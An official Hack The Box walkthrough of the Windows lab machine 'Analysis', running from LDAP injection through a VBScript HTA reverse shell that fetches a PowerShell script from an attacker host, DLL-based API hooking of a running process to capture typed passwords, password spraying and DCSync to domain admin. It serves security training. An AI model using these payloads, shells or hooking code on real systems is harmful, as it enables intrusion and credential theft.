Analysis HTB
Analysis HTB
Difficulty: Hard
Classification: Official
Synopsis
Analysis is a hard-difficulty Windows machine, featuring various vulnerabilities, focused on web
applications, Active Directory (AD) privileges and process manipulation. Initially, an LDAP Injection
vulnerability provides us with credentials to authenticate on a protected web application. Through this
application, access to the local system is obtained by gaining command execution through an HTA file
upload. On the target system, credentials for another user are found in the web application's log files.
Subsequently, by implementing an API Hook on BCTextEncoder , an encrypted password is decrypted and
used to pivot to another user. Finally, by changing the password of an account that has DCSync rights
against the domain, administrative access to the domain controller is obtained.
Skills Required
Active Directory Enumeration and Exploitation
Skills Learned
LDAP Injection
DLL Manipulation
Windows API Usage
Reverse Engineering
Process Inspection
Enumeration
Nmap
Starting off with an nmap scan:
We can also see that Message signing enabled and required on SMB. Port 80 is open, and is serving a
web application.
Web Application
Visiting port 80/TCP directly results in a NOT FOUND 404 error. If we browse to the analysis.htb domain
instead, we land on a website:
We are presented with a web application. From the response's headers, we can see that the application is
hosted on IIS/10.0 .
HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Sat, 08 Jul 2023 09:20:59 GMT
Accept-Ranges: bytes
ETag: "ddc152827db1d91:0"
Server: Microsoft-IIS/10.0
Date: Sat, 25 May 2024 14:31:24 GMT
Content-Length: 17830
Playing with the links that the website offers doesn't lead to anything useful. All links return to #!/home . We
will attempt to enumerate more subdomains that are possibly live.
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.129.222.83
:: Wordlist : FUZZ: /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-
top1million-110000.txt
:: Header : Host: FUZZ.analysis.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 178
:: Filter : Response lines: 364
________________________________________________
internal [Status: 403, Size: 1268, Words: 74, Lines: 30, Duration: 65ms]
The subdomain internal.analysis.htb exists, so we are going to add it to our /etc/hosts file and visit
it.
We are presented with a FORBIDDEN 403 message. Searching for other directories under
internal.analysis.htb reveals a few:
dirsearch -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-lowercase-
2.3-medium.txt -u 'http://internal.analysis.htb/' -t 256 -f
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 256 | Wordlist size:
1453396
Target: http://internal.analysis.htb/
[07:43:51] Starting:
[07:43:53] 301 - 170B - /users -> http://internal.analysis.htb/users/
[07:44:11] 301 - 174B - /dashboard -> http://internal.analysis.htb/dashboard/
[07:44:31] 301 - 174B - /employees -> http://internal.analysis.htb/employees/
The subdirectories /users , /dashboard and /employees are discovered. We narrow down the search by
scanning for other directories within these endpoints:
dashboard
dirsearch -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-lowercase-
2.3-medium.txt -u 'http://internal.analysis.htb/dashboard/' -t 256 -f
<...SNIP...>
[07:45:46] Starting: dashboard/
[07:45:47] 200 - 38B - /dashboard/index.php
[07:45:48] 301 - 178B - /dashboard/img -> http://internal.analysis.htb/dashboard/img/
[07:45:48] 301 - 182B - /dashboard/uploads ->
http://internal.analysis.htb/dashboard/uploads/
[07:45:49] 200 - 0B - /dashboard/upload.php
[07:45:50] 200 - 35B - /dashboard/details.php
[07:45:51] 301 - 178B - /dashboard/css -> http://internal.analysis.htb/dashboard/css/
[07:45:52] 301 - 178B - /dashboard/lib -> http://internal.analysis.htb/dashboard/lib/
[07:45:52] 200 - 35B - /dashboard/form.php
[07:45:54] 301 - 177B - /dashboard/js -> http://internal.analysis.htb/dashboard/js/
[07:45:55] 302 - 3B - /dashboard/logout.php -> ../employees/login.php
[07:45:58] 200 - 13KB - /dashboard/404.html
[07:46:03] 200 - 35B - /dashboard/tickets.php
[07:46:12] 200 - 35B - /dashboard/emergency.php
The discovery of /upload.php and /uploads implies some kind of file-upload functionality. Attempting to
reach any of those endpoints results in a 403 Access is Denied error, possibly due to the endpoints being
protected behind authentication, which is further supported by the discovery of the logout.php endpoint,
which highlights that there is some kind of login functionality.
employees
dirsearch -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-lowercase-
2.3-medium.txt -u 'http://internal.analysis.htb/employees/' -t 256 -f
<...SNIP...>
[07:56:55] Starting: employees/
[07:56:56] 200 - 1KB - /employees/login.php
Attempting common attacks that are relevant to login forms, such as SQL Injection or authentication
bypasses yields no results, so we can proceed with enumerating the /users endpoint for a possible attack
vector.
users
dirsearch -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-lowercase-
2.3-medium.txt -u 'http://internal.analysis.htb/users/' -t 256 -f
<...SNIP...>
[08:03:09] Starting: users/
[08:03:12] 200 - 17B - /users/list.php
The only endpoint in the /users subdirectory seems to be list.php . Visiting the endpoint:
It seems that this endpoint does not require authentication, since we are greeted with the missing
parameter error, which indicates that it expects a parameter in the GET request in order to fetch some
data, or perform an action.
LDAP Injection
The first thing we want to do here is to enumerate which parameter is valid. Since we know that an invalid
parameter name will result in a 2-word response, we can use wfuzz to fuzz the parameter name with the
burp-parameter-names.txt wordlist from SecLists , and hide all results that return a 2-word response.
wfuzz -c -z file,/usr/share/wordlists/SecLists/Discovery/Web-Content/burp-parameter-
names.txt --hw 2 "http://internal.analysis.htb/users/list.php?FUZZ=test"
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://internal.analysis.htb/users/list.php?FUZZ=test
Total requests: 6453
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
http://internal.analysis.htb/users/list.php?name=test
Trying to perform SQL Injection on this parameter doesn't yield any results. However, trying special
characters against the parameter provides an intresting result.
We can see that the wildcard character * returns a different result, with the username and first name being
technician . The wildcard character is utilized in multiple protocols within their search filter. However, we
can assume what protocol is being used in this query by combining knowledge we have acquired so far:
The website is hosted on a Domain Controller. In addition, the fields of the table we are presented with are
common LDAP attributes. The wildcard character * is also utilized in LDAP search filters. Now, we can send
a test payload to test if we are actually engaging with an LDAP search query. We know that the First Name
of the technician user is technician . The First Name in LDAP is commonly stored in the givenName
attribute. If we wanted to construct an LDAP search filter to search for a user with a username and
givenName of technician , it would look like this:
(&(cn=technician)(givenName=technician))
We can assume that what we give in the name parameter corresponds to the cn attribute. Now, we do not
want to break the website's intended functionality, so the payload we need to send looks like this:
technician)(givenName=technician
The response we get indicates our suspicion is valid. On the other hand, if we send an invalid first name, like
test :
We get the response that is presented for invalid data, so we can be sure that what the application is
running is indeed an LDAP search query .
Sometimes, important information about an account is stored in the Description attribute of an LDAP
object. We can try to identify if the technician user has a description, by trying common characters against
the Description field, like so:
technician)(Description=a*
With this payload, if a given character is truly present in the Description field, we should see the expected
successful response, since we specify the wildcard character afterwards.
To test this out, we send the request to the Burp Suite Intruder , highlighting the letter a as the position
for the Sniper attack, adding all letters and numbers in the payload list and extracting the value between
the response's <strong></strong> tags, which will either contain CONTACT_ or technician , depending on
whether the character exists in the description field, or not.
After running Intruder , we see that the letter 9 must be the first letter in the Description field. In order
to enumerate the full Description attribute, we need to automate the process, since we have to go
through all lowercase and uppercase characters, letters and punctuation. Before we can automate the
process, we need to identify how to delimit the end of the string. While we are using the wildcard character
* to perform the brute force, we must account for the fact that that character itself could well be part of
the string.
Let's go back to the givenName attribute, whose value we know. If we send tech* as our payload:
http://internal.analysis.htb/users/list.php?name=technician)(givenName=tech*
The query breaks since it violates LDAP syntax rules , and we get no results at all. So, what if the wildcard
character is part of the string? In our automation, we could add the * character even if the page breaks,
and set our delimiter to be the string ** . The reason for that is that if the Description attribute is fully
enumerated, it will reach the point of adding the * character to the end, then run again and add the *
character to the end again because it didn't find any other valid character.
import requests
import string
description = '9'
while True:
description = find_next_char('analysis.htb', 'technician', description)
if description[-2:] == "**":
break
We also exclude the ) and ( characters, since these would also break the query. Running the script:
python3 ldapinject.py
Description: 97NTtl*4QP96Bv
The result we get is a weird string. Since this looks like a password, we can attempt to log in through
employees/login.php , using the username [email protected] (since it is asking for an email) and
the password 97NTtl*4QP96Bv .
Foothold
Looking around, Dashboard seems like a static page. Tickets hosts some tickets presumably submitted by
domain users, some relating to security issues while others are general IT queries. Emergency hosts a
submission form, which doesn't seem to provide any meaningful results in order to enumerate further.
SOC Report looks like an interesting endpoint, that hosts a file upload form.
As the website states, any file we upload will be executed in a sandbox and analyzed by security analysts.
This is an interesting statement for us since it implies that we can achieve code execution through this
endpoint if what is stated is true. Let's start by creating the simplest of payloads - an executable from
msfvenom . We will be using the meterpreter payload:
Looking again in the Tickets section, there is a ticket that describes some issues with HTA files.
HTA files, or HTML Applications, are programs designed for Microsoft Windows that combine HTML and
other scripting languages like JavaScript. They operate independently of a web browser's security model,
running with full trust and using the ".hta" extension. These files use HTML for the user interface and can
incorporate additional scripting for program logic, blending web technology features with application-level
capabilities.
It seems that for some reason, users in the organization are using HTA files which sometimes cause security
errors to pop up. We could try to upload an HTA file generated with msfvenom , to see if we can get any
different results.
shell.hta
<!DOCTYPE html>
<html>
<body>
<script type="text/vbscript">
Sub Window_OnLoad
Dim xhr
Dim shell
Dim stream
Dim psScriptPath
psScriptUrl = "http://10.10.14.61:8081/shell.ps1"
psScriptPath = "C:\\Windows\Temp\shell.ps1"
shell.ps1
$remote_host = '10.10.14.61'
$remote_port = 4444
while ($client.Connected) {
try {
$buffer = New-Object Byte[] 1024
$read = 0
$output = ""
$writer.Close()
$stream.Close()
$client.Close()
In one window we start a Netcat listener to catch the reverse shell:
nc -lvnp 4444
In another, we start a web server on port 8081 so that our script can be downloaded.
Finally, we upload the hta file. A few seconds later, we see that it is executed and we get a reverse shell as
the user analysis\svc_web .
nc -lvnp 4444
Lateral Movement
From svc_web to jdoe
Since the web application runs as this user, we can proceed to enumerate the inetpub directory for
potentially useful information.
An interesting GET request can be found, which holds possible credentials for the jdoe user. Enumerating
the local Remote Management Users group, we can see jdoe can access this computer through Windows
WinRM .
The machine's language is French - we see the group that starts with "Utilisateurs de gesti", which is
the remote management users group.
If we attempt to evil-winrm with the creds we retrieved:
We gain access as the jdoe user. The user flag can be found at C:\Users\jdoe\Desktop\user.txt .
We load the zip file into BloodHound and start by looking at the Shortest Paths to Domain Admins
default query, which reveals something interesting.
There seems to be a path starting from the user wsmith . The user has an object control on the user
SOC_analyst , who in turn has GenericAll on the Domain Admins group.
We then take a look at SOC_analyst 's capabilities, who can perform DCSync :
That means that our primary targets are the principals wsmith and SOC_analyst , since compromising
either of them would provide us with administrative access to the domain controller.
Further enumeration on the machine reveals that there is an unusual directory in C:\ , namely
C:\private .
*Evil-WinRM* PS C:\> cd C:\private
*Evil-WinRM* PS C:\private> dir
Directory: C:\private
wy4ECQMCq0jPQTxt+3BgTzQTBPQFbt5KnV7LgBq6vcKWtbdKAf59hbw0KGN9lBIK
0kcBSYXfHU2s7xsWA3pCtjthI0lge3SyLOMw9T81CPqT3HOIKkh3SVcO9jdrxfwu
pHnjX+5HyybuBwIQwGprgyWdGnyv3mfcQQ==
=a7bc
-----END ENCODED MESSAGE-----
The file looks like it is generated from BCTextEnconder , a text encryption utility software. If we check the
running processes on the machine, we can see that BCTextEncoder.exe is still running.
Get-Process
This may be an indicator that the user running the application may attempt to perform another action
through BCTextEncoder , which may be beneficial for us if we can find a way to intercept what the user is
typing. We will download BCTextEncoder on our local Windows VM in order to analyze it further.
Reverse Engineering BCTextEncoder
Since the goal here is to intercept possible password submission by the user, we can use a tool like
ApiMonitor to check how a submitted password is handled by the application on the API level.
We submit the password testtest during the encoding process and search for that string on API
Monitor :
We can see that the application uses the WideCharToMultiByte() function to map the submitted password
to a new character string. At this point, we can use a technique called API Hooking . What we will essentially
try to do, is to create a function that we will hook to the WideCharToMultiByte function, in order to
intercept the submitted password.
Initial Analysis
A more specific term for what we are trying to achieve is Remote Process Hooking . We want to inject our
function, commonly via a DLL file, into the remote process, and then overwrite the first bytes of the
WideCharToMultiByte function to a jmp instruction that will perform an unconditional jump that will
transfer the flow of execution to our malicious function.
Let's load BCTextEncoder into WinDbg to see what it looks like. If we open BCTextEncoder directly through
WinDbg , we will see that we do not actually interact with the binary; the executable we downloaded seems
to extract the actual executable and run it.
We can see that two TextEncode.exe processes are spawned under the parent executable. In order to
determine which one of them is the one that actually corresponds to the application, we can monitor both
on API Hacker while performing some actions within the application. The one that will show APIs being
called is the process we want. In doing so, we observe that our intended target is the child of
`TextEncode.exe, in this case, process ID 7488.
We will then go to WinDbg and instead of launching the executable from there, we will attach to the
identified process to perform further actions. Now, in WinDbg , we want to see what the
WideCharToMultiByte function looks like. We will first identify the address of the function, and then read
the assembly that corresponds to this address. We know that WideCharToMultiByte is part of
kernel32.dll , per Microsoft documentation.
If we try to find WideCharToMultiByte directly, we can see that it cannot find the address of the function.
In this case, we can use the * character to see if any function corresponds to the WideChar string.
We are presented with a Stub function. System DLLs often use stub functions as part of their internal
implementation. Stub functions are intermediary functions that serve as placeholders or forwarders to the
actual implementation.
An unconditional jmp can be observed, which redirects the flow of execution to an Import Address Table
(IAT) entry called _imp__WideCharToMultiByte . The IAT holds the addresses of functions imported from
DLLs. When a process is loaded, the Windows loader resolves these entries to point to the actual address of
the functions. When a function like WideCharToMultiByte is called, the call goes through the IAT entry. If
we read the memory in the address of the _imp__WideCharToMultiByte IAT entry, we can retrieve the
actual address of the function.
Our objective is to manipulate the execution flow of the WideCharToMultiByte function. To achieve this, we
plan to replace the first instruction with an unconditional jump ( jmp ), effectively redirecting the execution
to our hook. After achieving our manipulation, we'll restore the original instructions to ensure the program
continues to operate seamlessly, as if no changes had occurred.
We've chosen to work with the WideCharToMultiByteStub function found in kernel32.dll because it's
more accessible and behaves as the initial point of interaction when this function is called. This stub
function accepts the same arguments as WideCharToMultiByte , which aligns with Microsoft's
recommended usage pattern.
For the technical execution, we aim to insert a relative jmp that occupies 5 bytes—1 byte for the opcode
( E9 ) and 4 bytes for the relative address. This modification will be placed at the start of
WideCharToMultiByte , allowing us to redirect control to our desired location.
With:
jmp <offset>
The offset will be the distance between the address of WideCharToMultiByte and our hooked function in
memory. We will also implement a method in our DLL to store the original first 5 bytes of
WideCharToMultiByte in order to restore them after our hooked function finishes execution, in order for
the application to continue its operations normally.
Each Windows process operates within its own virtual address space, meaning the addresses within one
process do not correlate directly with those in another process. For instance, the same virtual address in
different processes may correspond to different physical addresses.
When a DLL like kernel32.dll is loaded into a process, it's mapped into that process's virtual address
space. This means that while the virtual address of WideCharToMultiByte might be the same in both
processes, they point to separate copies of the code and data in each process's virtual memory.
The physical memory where the DLL resides can be shared between processes. However, each process has
its own set of page tables that map virtual addresses to physical addresses. When we modify the bytes at a
specific virtual address in one process, we are modifying the memory for that process only.
The physical pages containing the DLL code might be shared among processes. The operating system uses
a mechanism called Copy-On-Write (COW) to manage modifications. If a process tries to modify a shared
page, the operating system creates a private copy of that page for the process, so the changes do not affect
other processes. When we overwrite the bytes at a specific virtual address in one process, the operating
system ensures that this change does not affect the same address in another process. This is achieved
through the COW mechanism.
What does this mean for us? Basically, if we want to locate the address of WideCharToMultiByte in the
virtual memory of our target process, we can simply load WideCharToMultiByte from kernel32.dll inside
our patching application and retrieve the address from our own process. The address will be the same
address in the target process.
For this purpose, we create a new C project (i.e. in Visual Studio , or any preferred IDE or editor). The
very first step is to load WideCharToMultiByte in our patching application and retrieve the address of the
function inside the virtual memory. This is done in the following function:
FARPROC GetWCTMBAddress () {
HMODULE hKernel32;
FARPROC WCTMBAddress;
hKernel32 = GetModuleHandleA("kernel32.dll");
if(hKernel32 == NULL) {
printf("[X] Failed to load kernel32.dll");
exit(-1);
}
We use GetModuleHandleA to obtain a handle to the already loaded kernel32.dll and GetProcAddress
to retrieve the address of WideCharToMultiByte . If successful, this address will match what we see in tools
like WinDbg . To run the function we need to include a few headers and also define a main function; the full
program looks like this:
#include <stdio.h>
#include <windows.h>
#include <tlhelp32.h>
#include <stdint.h>
FARPROC WCTMBAddress;
DWORD textEncodeProcessId;
HANDLE textEncodeProcess;
FARPROC HWCTMBAddress;
FARPROC GetWCTMBAddress () {
HMODULE hKernel32;
FARPROC WCTMBAddress;
hKernel32 = GetModuleHandleA("kernel32.dll");
if(hKernel32 == NULL) {
printf("[X] Failed to load kernel32.dll");
exit(-1);
}
int main() {
printf("[-] Getting address of WideCharToMultiByte in memory.\n");
WCTMBAddress = GetWCTMBAddress();
printf("[+] Address of WideCharToMultiByte: %p\n", WCTMBAddress);
return 0;
}
.\patch.exe
We will loop through all processes, identify those named TextEncode.exe , and then check if their parent is
also named TextEncode.exe . If this condition is met, we return the child's process ID.
DWORD GetTextEncodeProcessId () {
const char* processName = "TextEncode.exe";
DWORD targetProcessId = 0;
if(Process32First(hSnapshot, &pe32)) {
do {
if(strcmp(pe32.szExeFile, processName) == 0) {
HANDLE hSnapshot2 = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe32Parent;
pe32Parent.dwSize = sizeof(PROCESSENTRY32);
if(Process32First(hSnapshot2, &pe32Parent)) {
do {
if(pe32.th32ParentProcessID == pe32Parent.th32ProcessID &&
strcmp(pe32Parent.szExeFile, processName) == 0) {
targetProcessId = pe32.th32ProcessID;
break;
}
} while(Process32Next(hSnapshot2, &pe32Parent));
}
CloseHandle(hSnapshot2);
if(targetProcessId != 0) {
break;
}
}
} while(Process32Next(hSnapshot, &pe32));
}
CloseHandle(hSnapshot);
if(targetProcessId == 0) {
printf("[X] Failed to retrieve TextEncode.exe process ID.\n");
exit(-1);
}
return targetProcessId;
}
Note: The full source code for patch.exe is attached at the end of this section.
Using the Tool help Library, we take a snapshot of all currently running processes. We then search for
TextEncode.exe . Upon finding an instance, we take another snapshot to check for its parent. If a parent
with the same name and process ID is found, we confirm it as the target.
.\patch.exe
We can see that the process ID matches the one observed in Process Hacker .
Now, we proceed with our exported function definition. We basically need to initiate the function with the
same arguments as WideCharToMultiByte 's arguments, since we need to retrieve the string that we want
to intercept, but also call the original WideCharToMultiByte afterwards.
Next, inside the function's body, we can define what we want to do. Since we want to retrieve the password,
we opt to write the contents of lpWideCharStr to a file, since this argument contains the UTF-16 value that
is passed to the function, as per the official documentation.
Finally, we have to implement the restoration of the original bytes to WideCharToMultiByte function.
SIZE_T written;
DWORD textEncodeProcessId = GetTextEncodeProcessId();
HANDLE textEncodeProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, textEncodeProcessId);
return;
We first get the process ID of TextEncode.exe , then get a handle to the process with all the necessary flags
(some of the flags may not be entirely needed, but this is the basic format to ensure we have everything we
need to write in memory). Then, we write the original bytes to the address of WideCharToMultiByte in the
virtual memory using the WriteProcessMemory function. Finally, we call the original WideCharToMultiByte
function with all the arguments with which the application was originally accessing the function. This
ensures that the flow of the application doesn't break with our hooked function.
#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
HMODULE hKernel32;
FARPROC WCTMBAddress;
BYTE oldBytes[5];
DWORD GetTextEncodeProcessId () {
const char* processName = "TextEncode.exe";
DWORD targetProcessId = 0;
if(Process32First(hSnapshot, &pe32)) {
do {
if(strcmp(pe32.szExeFile, processName) == 0) {
HANDLE hSnapshot2 = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe32Parent;
pe32Parent.dwSize = sizeof(PROCESSENTRY32);
if(Process32First(hSnapshot2, &pe32Parent)) {
do {
if(pe32.th32ParentProcessID == pe32Parent.th32ProcessID &&
strcmp(pe32Parent.szExeFile, processName) == 0) {
targetProcessId = pe32.th32ProcessID;
break;
}
} while(Process32Next(hSnapshot2, &pe32Parent));
}
CloseHandle(hSnapshot2);
if(targetProcessId != 0) {
break;
}
}
} while(Process32Next(hSnapshot, &pe32));
}
CloseHandle(hSnapshot);
if(targetProcessId == 0) {
printf("[X] Failed to retrieve TextEncode.exe process ID.\n");
exit(-1);
}
return targetProcessId;
}
return textEncodeProcess;
}
We also return the handle to the remote process for later use. If we run the newly created function and
observe WinDbg , we can see that our DLL is successfully loaded.
FARPROC GetHWCTMBAddress() {
HMODULE hHook;
FARPROC HWCTMBAddress;
hHook = LoadLibraryA("C:\\Users\\rogue\\Desktop\\hook.dll");
if (hHook == NULL) {
printf("[X] Failed to load hook.dll\n");
exit(-1);
}
This time, we use LoadLibraryA to load the DLL since it is not already loaded in the process's address
space like kernel32.dll was. If we check the application's output and compare it to the address where
HookedWideCharToMultiByte resides in the virtual memory of TextEncode.exe , they match.
.\patch.exe
What we want to do here is first to create the jmp instruction. For that, we will create a BYTE variable of size
5 that will hold the relative jmp instruction opcode 0xE9 , plus the offset. The offset is calculated by
subtracting the address of WideCharToMultiByte + 5 (since the relative jmp instruction takes 5 bytes of
space itself) from the address of HookedWideCharToMultiByte . Then, we write this instruction to the first 5
bytes at the address of WideCharToMultiByte in the process's virtual memory.
If we now disassemble the WideCharToMultiByteStub function in WinDbg , we can see that the first 5 bytes
correspond to our relative jmp to the HookedWideCharToMultiByte function.
Now if we attempt to encrypt something using BCTextEncoder , a password.txt file is generated that holds
the password we provided. For this example, we gave the password roguetest .
roguetest
If we disassemble the WideCharToMultiByteStub function again, we can see that the original bytes are
restored, ensuring that the application operates as expected.
#include <stdio.h>
#include <windows.h>
#include <tlhelp32.h>
#include <stdint.h>
FARPROC WCTMBAddress;
DWORD textEncodeProcessId;
HANDLE textEncodeProcess;
FARPROC HWCTMBAddress;
FARPROC GetWCTMBAddress () {
HMODULE hKernel32;
FARPROC WCTMBAddress;
hKernel32 = GetModuleHandleA("kernel32.dll");
if(hKernel32 == NULL) {
printf("[X] Failed to load kernel32.dll");
exit(-1);
}
WCTMBAddress = GetProcAddress(hKernel32, "WideCharToMultiByte");
if(WCTMBAddress == NULL) {
printf("[X] Failed to retrieve WideCharToMultiByte address");
exit(-1);
}
return WCTMBAddress;
}
DWORD GetTextEncodeProcessId () {
const char* processName = "TextEncode.exe";
DWORD targetProcessId = 0;
if(Process32First(hSnapshot, &pe32)) {
do {
if(strcmp(pe32.szExeFile, processName) == 0) {
HANDLE hSnapshot2 = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe32Parent;
pe32Parent.dwSize = sizeof(PROCESSENTRY32);
if(Process32First(hSnapshot2, &pe32Parent)) {
do {
if(pe32.th32ParentProcessID == pe32Parent.th32ProcessID &&
strcmp(pe32Parent.szExeFile, processName) == 0) {
targetProcessId = pe32.th32ProcessID;
break;
}
} while(Process32Next(hSnapshot2, &pe32Parent));
}
CloseHandle(hSnapshot2);
if(targetProcessId != 0) {
break;
}
}
} while(Process32Next(hSnapshot, &pe32));
}
CloseHandle(hSnapshot);
if(targetProcessId == 0) {
printf("[X] Failed to retrieve TextEncode.exe process ID.\n");
exit(-1);
}
return targetProcessId;
}
FARPROC GetHWCTMBAddress () {
HMODULE hHook;
FARPROC HWCTMBAddress;
hHook = LoadLibraryA("C:\\Users\\jdoe\\Desktop\\hook.dll");
if(hHook == NULL) {
printf("[X] Failed to load hook.dll");
exit(-1);
}
int main() {
const char* dllPath = "C:\\Users\\jdoe\\Desktop\\hook.dll";
printf("[-] Getting address of WideCharToMultiByte in memory.\n");
WCTMBAddress = GetWCTMBAddress();
printf("[+] Address of WideCharToMultiByte: %p\n", WCTMBAddress);
We can now transfer the encoded.txt file we previously encountered to our Windows machine and use
this password with our downloaded BCTextEncoder to decrypt the data it holds.
The decrypted data looks like a password. We can attempt to use this password to authenticate against the
Domain Users to see if it corresponds to a user.
SMB analysis.htb 445 DC-ANALYSIS [*] Windows 10.0 Build 17763 x64
(name:DC-ANALYSIS) (domain:analysis.htb) (signing:True) (SMBv1:False)
SMB analysis.htb 445 DC-ANALYSIS [-]
analysis.htb\Administrateur:DMrB8YUcC5%2 STATUS_LOGON_FAILURE
SMB analysis.htb 445 DC-ANALYSIS [-] analysis.htb\amanson:DMrB8YUcC5%2
STATUS_LOGON_FAILURE
SMB analysis.htb 445 DC-ANALYSIS [-] analysis.htb\badam:DMrB8YUcC5%2
STATUS_LOGON_FAILURE
SMB analysis.htb 445 DC-ANALYSIS [-]
analysis.htb\cwilliams:DMrB8YUcC5%2 STATUS_LOGON_FAILURE
SMB analysis.htb 445 DC-ANALYSIS [-] analysis.htb\Invit‚:DMrB8YUcC5%2
STATUS_LOGON_FAILURE
SMB analysis.htb 445 DC-ANALYSIS [-] analysis.htb\jangel:DMrB8YUcC5%2
STATUS_LOGON_FAILURE
SMB analysis.htb 445 DC-ANALYSIS [-] analysis.htb\jdoe:DMrB8YUcC5%2
STATUS_LOGON_FAILURE
SMB analysis.htb 445 DC-ANALYSIS [-] analysis.htb\krbtgt:DMrB8YUcC5%2
STATUS_LOGON_FAILURE
SMB analysis.htb 445 DC-ANALYSIS [-] analysis.htb\lzen:DMrB8YUcC5%2
STATUS_LOGON_FAILURE
SMB analysis.htb 445 DC-ANALYSIS [-]
analysis.htb\soc_analyst:DMrB8YUcC5%2 STATUS_LOGON_FAILURE
SMB analysis.htb 445 DC-ANALYSIS [-] analysis.htb\svc_web:DMrB8YUcC5%2
STATUS_LOGON_FAILURE
SMB analysis.htb 445 DC-ANALYSIS [-]
analysis.htb\technician:DMrB8YUcC5%2 STATUS_LOGON_FAILURE
SMB analysis.htb 445 DC-ANALYSIS [-]
analysis.htb\webservice:DMrB8YUcC5%2 STATUS_LOGON_FAILURE
SMB analysis.htb 445 DC-ANALYSIS [+] analysis.htb\wsmith:DMrB8YUcC5%2
The credentials belong to the user wsmith . We proceed to log in as wsmith through WinRM .
Privilege Escalation
Now that we have access to the wsmith account, we can use the knowledge we already acquired from
BloodHound : wsmith has the ability to change passwords, including for the user soc_analyst , who has
permissions to perform DCSync against the domain—a process that allows for replicating password hashes
from the domain controller.
With soc_analyst 's password reset, we can now perform DCSync to extract credentials from the domain
using the soc_analyst account. For this task, we utilize the secretsdump tool from impacket , which is
designed to extract authentication credentials such as NTLM password hashes and Kerberos tickets from
Windows networks.
impacket-secretsdump analysis.htb/soc_analyst:'Password1!'@analysis.htb
With the obtained credentials, we can log in as Administrateur using impacket-psexec (or any other
preferred method) and retrieve the root flag from the administrator's desktop.
C:\Windows\system32> whoami
analysis\Administrateur